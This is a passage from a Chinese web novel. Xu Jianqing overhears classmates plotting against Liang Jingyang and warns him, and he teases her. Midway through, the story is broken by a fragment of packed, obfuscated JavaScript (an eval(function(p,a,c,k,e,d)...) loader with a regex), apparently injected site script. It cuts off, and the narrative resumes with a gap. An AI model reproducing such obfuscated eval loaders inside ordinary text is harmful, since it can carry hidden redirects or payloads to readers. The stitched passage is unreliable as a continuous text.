他咕咚咕咚灌下半杯奶茶,舒服地啊了声,一手搭在梁景阳肩膀上,冲许见晴一抬下巴:“怎么嘀,请客。” 亭亭回家了,这两位很不客气地挑了家价格不便宜的海鲜自助。 和两个这个年纪的男生吃自助,还是不怎么顶饱的海鲜,许见晴眼睁睁看着桌上的空盘子越垒越高高高高高。 她一边想捂脸走开,假装和他们不是一起的,一边很欣慰,这餐饭的钱花得可真值啊。 吃饱喝足,起身离开,江皓看到冰箱又去拿了个冰淇淋。 梁景阳问:“现在去哪?” 这里离青石巷远,离下午军训还剩一个来小时。 江皓啃着冰淇淋说:“网吧。” 许见晴想了想:“我直接去学校好了。” 他呢? “那各走各的,我有点事。” 许见晴奇怪地看他一眼,大中午的,他有什么事? 下意识想问,话到嘴边又吞回去。 不是当年干什么都要一起的小屁孩了,这个年纪,谁没点自己的事。 午后的校园空荡安静,许见晴走进教学楼,还没到楼梯口,楼上传来几个男生讲话的声音,隐约能闻到烟味。 他们应该是倚着楼道口的栏杆抽烟,她之前考前发奋的时候,中午会在学校食堂吃饭,吃完回教室读书,遇见过几次。 各个班的混子,经常招惹是非。 她正犹豫要不要走这边的楼梯,突然听见一个名字,梁景阳。 “姓梁那个抢了你的体育委员?” “怎么着,要不要帮你教育教育他?” “今天傍晚怎么样?” 这些男生是没有进化完全吗? 许见晴脚步一转,往另一个楼道走去。 这栋教学楼是工字形,从另一边走出来,和从老师办公室走出来的效果差不多。 许见晴缓步走过去,离那帮人越来越近,心不自觉提起来。 这里面她只认识刘勇,初中和她同班,有时会找她借作业抄。 “刘勇? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许见晴斟酌了又斟酌,说:“我们班刘勇那些人,你知道吧?” “不熟,怎么了?” “他们好像对你有点意见。” 梁景阳听到这就明白了,静静看着她。 “他们说傍晚要找你麻烦。” 许见晴大致说了中午的事,说到自己谎报军情忽悠他们时,梁景阳差点笑出来,敢情只在他这里胆小,其他事没有她不敢做的。 “就算今天不来,他们以后会不会......”她担心地看着他。 “那怎么办?”梁景阳问。 许见晴听他这么一说又紧张起来,他一个转学生,也就认识江皓他们,都是安分守己不乱惹事的。 “不然我们和老师说?了不起报警。” “可这样很丢脸。” “丢脸有什么,”她急了,他还在乎脸面,“安全最重要,你那天和我说的,打不过就跑,君子不立危墙之下懂不懂?” 停顿两秒,她又说:“放心吧,我不会嘲笑你的。” 梁景阳脸上笑意蔓延。 “我有个主意。”梁景阳勾勾手指,示意她靠近。 许见晴挨近他,侧耳静待他的下文。 硬质的迷彩服衬得她的皮肤更雪白细致,梁景阳看着她的侧脸,嗓音懒懒的,耐心十足:“你千万别和我爷爷奶奶说,也别告诉你爸。” 许见晴点点头,可三秒、五秒、十秒过去,什么都没听见。 她不解地回头,看见梁景阳忍俊不禁的样子。 对上她的目光,他终于绷不住,笑出声来。 许见晴静静看着他笑,气得眼眶都憋红了,她担心他半天,他还逗她玩?混蛋。 等他终于笑够了,她冷冷看着他说:“很好玩是吗?” 说完扭头就走。 梁景阳连忙追去,完了,玩大了。